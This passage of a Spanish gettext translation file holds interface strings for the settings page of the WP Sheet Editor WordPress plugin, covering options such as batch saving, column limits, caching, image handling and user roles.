too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las categorías de las entradas, las etiquetas " "de las entradas, etc. muestran los términos separados por comas, si usas " "comas en los nombres de las taxonomías, usa esta opción para cambiar el " "separador" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "How long do you want to wait between batches? (in seconds)" msgstr "¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)" #: wp-sheet-editor/dev/inc/options-init.php:151 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "Pero tu servidor no puede manejar todos los lotes uno tras otro, así que " "necesitamos esperar unos segundos después de cada lote para darle a tu " "servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes " "ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías " "aumentar el número para dar a tu servidor un descanso más largo después de " "cada lote." #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "Disable post actions while saving?" msgstr "¿Desactivar las acciones posteriores al guardar cambios?" #: wp-sheet-editor/dev/inc/options-init.php:158 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Algunos plugins ejecutan una tarea después de crear o actualizar una " "entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus " "perfiles sociales, otros plugins notifican a los usuarios después de que una " "entrada es actualizada, etc. Puede que haya un problema con esos plugins. " "Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de " "twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes " "terminar con 100 tweets compartidos en tu cuenta de twitter. Así que " "habilita esta opción si quieres actualizar / crear posts silenciosamente sin " "ejecutar esas funciones." #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "Suspend object cache invalidation?" msgstr "¿Suspender la invalidación de la caché de objetos?" #: wp-sheet-editor/dev/inc/options-init.php:165 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deshabilita esta opción si estás usando un plugin de caché de objetos/bases " "de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. " "Cuando editas muchas entradas, WordPress intenta \"limpiar\" la caché " "incluso si no estás usando un plugin de caché, haciendo cientos de consultas " "innecesarias a la base de datos." #: wp-sheet-editor/dev/inc/options-init.php:171 msgid "Disable the replacement of line breaks with p tags?" msgstr "¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?" #: wp-sheet-editor/dev/inc/options-init.php:172 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Cuando se carga la hoja de cálculo y guarda el contenido de las filas, la " "ejecutamos a través de wpautop para evitar problemas de saltos de línea. " "Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el " "contenido." #: wp-sheet-editor/dev/inc/options-init.php:178 msgid "Deactivate the data prefetch" msgstr "Desactivar el prefetch de los datos" #: wp-sheet-editor/dev/inc/options-init.php:179 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de " "la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede " "causar problemas si tienes miles de columnas o configuraciones raras en tus " "bases de datos." #: wp-sheet-editor/dev/inc/options-init.php:185 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Claves meta que deben utilizar el administrador de campos serializados " "infinitos" #: wp-sheet-editor/dev/inc/options-init.php:186 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide " "que uses esta opción. Tenemos dos maneras de manejar los campos " "serializados: el antiguo controlador (usado por defecto, que tiene " "limitaciones) y el controlador de serialización infinita (mejor, no está " "activo por defecto para no romper integraciones anteriores). Utiliza esta " "opción si tienes campos serializados que se guardan incorrectamente o no " "aparecen en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:191 msgid "Blacklist these columns" msgstr "Poner estas columnas en la lista negra" #: wp-sheet-editor/dev/inc/options-init.php:192 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Ingresa la lista de claves de campo separadas por comas, puedes ingresar la " "clave completa del campo meta o las palabras clave o prefijos parciales. " "Esto es útil porque algunos plugins añaden miles de campos innecesarios a la " "base de datos y desordenan la hoja de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:197 msgid "Enable the utf8 encoding fix" msgstr "Habilitar la corrección de la codificación utf8" #: wp-sheet-editor/dev/inc/options-init.php:198 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Esto puede ayudar si la hoja de cálculo no carga filas o si las filas " "aparecen vacías." #: wp-sheet-editor/dev/inc/options-init.php:205 msgid "Maximum number of seconds to download external images?" msgstr "Número máximo de segundos para descargar imágenes externas?" #: wp-sheet-editor/dev/inc/options-init.php:206 msgid "" "Default: 4. When you enter an external image URL in any image cells (or " "during the import), we download the image file into the WordPress media " "library and save it in the field. By default, we limit the download time to " "4 seconds, any download that exceeds that number of seconds will be cancelled" msgstr "" "Por defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o " "durante la importación, descargamos la imagen y la guardamos en la librería " "multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, " "cualquier descarga que supere eso será cancelada para evitar problemas de " "rendimiento." #: wp-sheet-editor/dev/inc/options-init.php:212 msgid "Maximum meta fields displayed in the advanced filters dropdown" msgstr "Cantidad máxima de campos disponibles para búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:213 msgid "" "We limit the list of fields to 1000 meta fields to avoid memory leaks/" "performance issues. If you want to search by a field that does not appear in " "the dropdown, increase this number." msgstr "" "Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de " "memoria/problemas de rendimiento. Si quieres buscar por un campo que no " "aparece en el desplegable, aumenta este número." #: wp-sheet-editor/dev/inc/options-init.php:219 msgid "Allow line breaks in values during the export and import process" msgstr "Permitir saltos de línea en valores al exportar e importar?" #: wp-sheet-editor/dev/inc/options-init.php:220 msgid "" "We will not execute our removal of duplicate rows when the line breaks are " "allowed, so you might see duplicate rows in the export files in rare cases." msgstr "" "No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan " "los saltos de línea, por lo que es posible que veas filas duplicadas en los " "archivos de exportación en casos excepcionales." #: wp-sheet-editor/dev/inc/options-init.php:226 msgid "Allow safe html in post titles?" msgstr "Permitir HTML seguro en títulos de posts?" #: wp-sheet-editor/dev/inc/options-init.php:227 msgid "" "We will remove all the html tags by default. Activate this option to allow " "safe html tags, like b, span, i, etc" msgstr "" "Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para " "permitir etiquetas html seguras, como b, span, i, etc." #: wp-sheet-editor/dev/inc/options-init.php:233 msgid "Attach every taxonomy term in the hierarchy to the posts?" msgstr "¿Acoplar cada término de taxonomía de la jerarquía a los posts?" #: wp-sheet-editor/dev/inc/options-init.php:234 msgid "" "By default, we only attach the last term in the hierarchy to the posts " "because WordPress automatically handles them correctly. But if you want to " "assign each term to the post, including the parent categories, activate this " "option" msgstr "" "Por defecto, sólo asignamos el último término de la jerarquía a las entradas " "porque WordPress las gestiona correctamente de forma automática. Pero si " "quieres asignar cada término a la entrada, incluyendo las categorías padre, " "habilita esta opción." #: wp-sheet-editor/dev/inc/options-init.php:240 msgid "Always run the save_post action after any post row is edited?" msgstr "" "¿Ejecutar siempre la acción save_post después de editar cualquier fila de la " "entrada?" #: wp-sheet-editor/dev/inc/options-init.php:241 msgid "" "By default, we run the save_post action only when a post data field is " "updated (fields other than meta and taxonomies) for performance reasons. " "Enable this if other plugins aren't detecting our changes or webhooks aren't " "running." msgstr "" "Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un " "campo de datos de la entrada (campos que no sean meta y taxonomías) por " "razones de rendimiento. Habilita esto si otros plugins no están detectando " "nuestros cambios o los webhooks no se están ejecutando." #: wp-sheet-editor/dev/inc/options-init.php:250 msgid "Customize features" msgstr "¿Personalizar las características" #: wp-sheet-editor/dev/inc/options-init.php:255 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "¿Habilitar la opción de restringir las vistas de hojas de cálculo por " "usuario?" #: wp-sheet-editor/dev/inc/options-init.php:256 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde " "podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden " "utilizar todas las vistas de la hoja de cálculo si esto está desactivado." #: wp-sheet-editor/dev/inc/options-init.php:262 msgid "Enable simple mode?" msgstr "¿Habilitar el modo simple?" #: wp-sheet-editor/dev/inc/options-init.php:263 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo " "y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la " "herramienta de búsqueda, la herramienta de edición masiva, la herramienta de " "importación, la herramienta de exportación y otros lugares." #: wp-sheet-editor/dev/inc/options-init.php:269 msgid "Disable the automatic formatting detection?" msgstr "¿Deshabilitar la detección automática del formato?" #: wp-sheet-editor/dev/inc/options-init.php:270 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Si habilitas esta opción, algunas columnas aparecerán como texto. " "Normalmente detectamos los campos de fecha, campos de imagen." #: wp-sheet-editor/dev/inc/options-init.php:276 msgid "Disable cells lazy loading?" msgstr "¿Deshabilitar la carga lenta de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:277 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "La hoja de cálculo carga sólo las \"filas visibles\" por razones de " "rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las " "filas se cargan dinámicamente. De esta manera puedes \"abrir\" miles de " "posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres " "usar la búsqueda del navegador para encontrar una celda específica, " "necesitas deshabilitar la carga perezosa para cargar todas las filas a la " "vez y el navegador será capaz de encontrar las celdas. La búsqueda en el " "navegador no funciona por defecto porque sólo se crean las \"filas " "visibles\"." #: wp-sheet-editor/dev/inc/options-init.php:283 msgid "Disable usage stats widget?" msgstr "¿Deshabilitar el widget de estadísticas de uso?" #: wp-sheet-editor/dev/inc/options-init.php:284 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Si habilitas esta opción, el widget de estadísticas de uso que se muestra en " "el panel de control de wp-admin será eliminado." #: wp-sheet-editor/dev/inc/options-init.php:290 msgid "Disable serialized columns support?" msgstr "¿Deshabilitar el soporte de columnas serializadas?" #: wp-sheet-editor/dev/inc/options-init.php:291 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "La hoja de cálculo genera automáticamente columnas para los campos " "serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del " "número de campos serializados. Puedes deshabilitar esta característica si la " "hoja es demasiado lenta para cargar o si obtienes errores al cargar las " "filas o no quieres ver las columnas con el prefijo \"SEIS\"." #: wp-sheet-editor/dev/inc/options-init.php:297 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "¿Deshabilitar la api heartbeat en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:298 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress utiliza la API de heartbeat para comprobar el estado de inicio de " "sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que " "podría hacer cientos de peticiones cuando se está editando en la hoja de " "cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor " "mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de " "cálculo abierta durante varios días, tu sesión de inicio de sesión puede " "caducar y no se te notificará si dehabilitas el heartbeat, lo que puede " "causar problemas al guardarla. Así que usa esta opción sólo cuando uses la " "hoja de cálculo durante unas pocas horas." #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "User roles that can use the spreadsheet editor" msgstr "Roles de usuario que pueden utilizar el editor de hojas de cálculo" #: wp-sheet-editor/dev/inc/options-init.php:304 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "El plugin no se inicializará para los roles de usuario no seleccionados aquí." #: wp-sheet-editor/dev/inc/options-init.php:312 msgid "Enable the fancy taxonomy terms selector" msgstr "Habilitar el selector de términos de taxonomía bonito" #: wp-sheet-editor/dev/inc/options-init.php:313 msgid "" "Backwards compatibility. This setting will be removed in future updates." msgstr "" "Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras " "actualizaciones." #: wp-sheet-editor/dev/inc/options-init.php:319 msgid "What cell format to use for the taxonomy columns?" msgstr "¿Qué formato de celda se debe utilizar para las columnas de taxonomía?" #: wp-sheet-editor/dev/inc/options-init.php:321 msgid "New multi select dropdown (Default)" msgstr "Nuevo menú desplegable de selección múltiple (predeterminado)" #: wp-sheet-editor/dev/inc/options-init.php:322 msgid "Old single select autocomplete" msgstr "Autocompletado de selección simple antiguo" #: wp-sheet-editor/dev/inc/options-init.php:328 msgid "Show all the custom post statuses?" msgstr "¿Mostrar todos los estados de posts personalizados?" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, " "programado, papelera. Sin embargo, algunos plugins registran estados " "personalizados: gestores de trabajos, comercio de madera. Habilita esta " "opción para mostrar todos los estados personalizados en la columna " "\"status\". CUIDADO. Mostraremos todos los estados de todos los post types " "en el desplegable porque es imposible saber el post type de cada estado al " "no poder separarlos. Haz esto sólo si eres un desarrollador." #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "Remove help messages from the cells?" msgstr "¿Ocultar los mensajes de ayuda de las celdas?" #: wp-sheet-editor/dev/inc/options-init.php:336 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Por defecto, mostramos comentarios en algunas columnas indicando el formato " "del valor o por qué están bloqueados. Por ejemplo, la columna de categorías " "muestra un consejo que indica que hay que separar los términos con una coma " "y cómo añadir categorías menores, las columnas de variaciones tienen un " "consejo que indica por qué están bloqueadas para los productos de los " "padres. Puedes activar esta opción para desactivar esos consejos." #: wp-sheet-editor/dev/inc/options-init.php:342 msgid "Manage taxonomy column values as term ids?" msgstr "" "¿Administrar los valores de las columnas de taxonomía como IDs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:343 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los ID de los términos separados " "por comas." #: wp-sheet-editor/dev/inc/options-init.php:349 msgid "Manage taxonomy column values as term slugs?" msgstr "" "¿Gestionar los valores de las columnas de taxonomía como slugs de términos?" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term slugs separated by commas." msgstr "" "Por defecto mostramos las categorías como nombres separados por comas. " "Habilita esta opción para mostrar y guardar los términos separados por comas." #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Do you want to deactivate columns for new fields found?" msgstr "¿Quieres deshabilitar las columnas para los nuevos campos encontrados?" #: wp-sheet-editor/dev/inc/options-init.php:357 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Por defecto mostramos automáticamente columnas para todos los nuevos campos " "encontrados, así que cada vez que detectamos nuevos campos puedes verlos y " "editarlos inmediatamente. Pero esto puede \"romper\" tu orden de columnas o " "molestarte si has habilitado columnas específicas. Habilita esta opción para " "generar esas columnas pero dejarlas desactivadas para que puedas " "habilitarlas más tarde." #: wp-sheet-editor/dev/inc/options-init.php:364 msgid "Math formula roundup decimals" msgstr "" "Decimales para redondear valores al realizar ediciones masivas en columnas " "numéricas?" #: wp-sheet-editor/dev/inc/options-init.php:365 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Redondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número " "aquí, por ejemplo, 1 para redondear a 1 decimal" #: wp-sheet-editor/dev/inc/options-init.php:371 msgid "Display raw value on select cells?" msgstr "¿Mostrar el valor bruto en las celdas seleccionadas?" #: wp-sheet-editor/dev/inc/options-init.php:372 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. " "Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas." #: wp-sheet-editor/dev/inc/options-init.php:378 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de " "cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:379 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de " "usuarios, por defecto solo removemos el usuario del sitio actual. Habilita " "esta opción para eliminar al usuario de toda la red." #: wp-sheet-editor/dev/inc/options-init.php:385 msgid "Disable the addition of file ID to the image URLs?" msgstr "¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:386 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Por defecto, al exportar una columna con imágenes, agregamos el ID del " "archivo a la URL para que al importar, sepamos el origen de la imagen y la " "guardemos más rápido. Activa esta opción para no agregar el ID a la URL, " "todo funciona bien al habilitar esta opción, solo que el guardado puede ser " "un poquito más lento." #: wp-sheet-editor/dev/inc/options-init.php:392 msgid "Disable the display of file names in the image columns?" msgstr "¿No mostrar el nombre del archivo en la celda de las imágenes?" #: wp-sheet-editor/dev/inc/options-init.php:393 msgid "" "By default, we show the file name as a preview next to the thumbnail, you " "can activate this to show the thumbnail and upload buttons only" msgstr "" "Por defecto, mostramos el nombre del archivo como texto de vista previa " "junto a la miniatura, habilita esto para mostrar solo la miniatura y botones " "únicamente." #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" "¿Añadir clases html a las celdas \" estado de la entrada \" en función de " "sus valores?" #: wp-sheet-editor/dev/inc/options-init.php:400 msgid "" "You can activate this option if you want to add html classes, and use those " "html classes to change the cell colors for each status using custom CSS" msgstr "" "Puedes habilitar esta opción si quieres añadir clases html, y usar esas " "clases html para cambiar los colores de las celdas para cada estado usando " "CSS personalizado" #: wp-sheet-editor/dev/inc/options-init.php:407 msgid "" "Maximum number of characters displayed in the preview of the values of " "tinymce columns?" msgstr "" "¿Número máximo de caracteres mostrados en la vista previa de los valores de " "las columnas tinymce?" #: wp-sheet-editor/dev/inc/options-init.php:408 msgid "" "By default, we only display 30 characters. You can increase the number here " "to view larger previews." msgstr "" "Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí " "para ver previsualizaciones más grandes." #: wp-sheet-editor/dev/inc/options-init.php:414 msgid "Manage the post parent column using IDs?" msgstr "¿Administrar la columna \"Padre\" usando los IDs?" #: wp-sheet-editor/dev/inc/options-init.php:415 msgid "" "By default, the \"parent\" column displays titles and saves using titles. If " "you activate this option, the column will display IDs and save IDs. This is " "useful if you have duplicate titles and you need to save the exact parent by " "ID." msgstr "" "Por defecto, la columna \"padre\" muestra títulos y guarda utilizando " "títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. " "Esto es útil si tienes títulos duplicados y necesitas guardar el padre " "exacto por ID." #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "Enable the dark mode?" msgstr "¿Habilitar modo oscuro?" #: wp-sheet-editor/dev/inc/options-init.php:424 msgid "Auto (Default)" msgstr "Automático (por defecto)" #: wp-sheet-editor/dev/inc/options-init.php:425 msgid "Light mode" msgstr "Modo claro" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Dark mode" msgstr "Modo oscuro" #: wp-sheet-editor/dev/inc/options-init.php:433 msgid "General settings" msgstr "Ajustes generales" #: wp-sheet-editor/dev/inc/options-init.php:438 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "En esta página puedes configurar rápidamente el editor de hojas de cálculo. " "Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras " "pestañas son completamente opcionales y te permiten ajustar el rendimiento " "del editor entre otras cosas." #: wp-sheet-editor/dev/inc/options-init.php:445 msgid "Misc" msgstr "Miscelánea" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Image preview width inside the cell" msgstr "Ancho de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Image preview height inside the cell" msgstr "Altura de previsualización de la imagen dentro de la celda" #: wp-sheet-editor/dev/inc/options-init.php:465 msgid "Initial rows offset" msgstr "Desfase inicial de las filas" #: wp-sheet-editor/dev/inc/options-init.php:466 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y " "empezar a editar desde las fila 200. Esta opción te permite saltar muchas " "filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más " "cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas " "1205 como desplazamiento, la hoja comenzará desde la página 120 (índice " "1200) porque es la página más cercana al desplazamiento definido." #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "Delete the attached images when deleting a post?" msgstr "¿Borrar las imágenes adjuntas al borrar una entrada?" #: wp-sheet-editor/dev/inc/options-init.php:473 msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se " "borra la imagen destacada y las imágenes de la galería de productos de la " "biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, " "se romperán las imágenes en otros posts" #: wp-sheet-editor/dev/inc/options-init.php:481 msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del 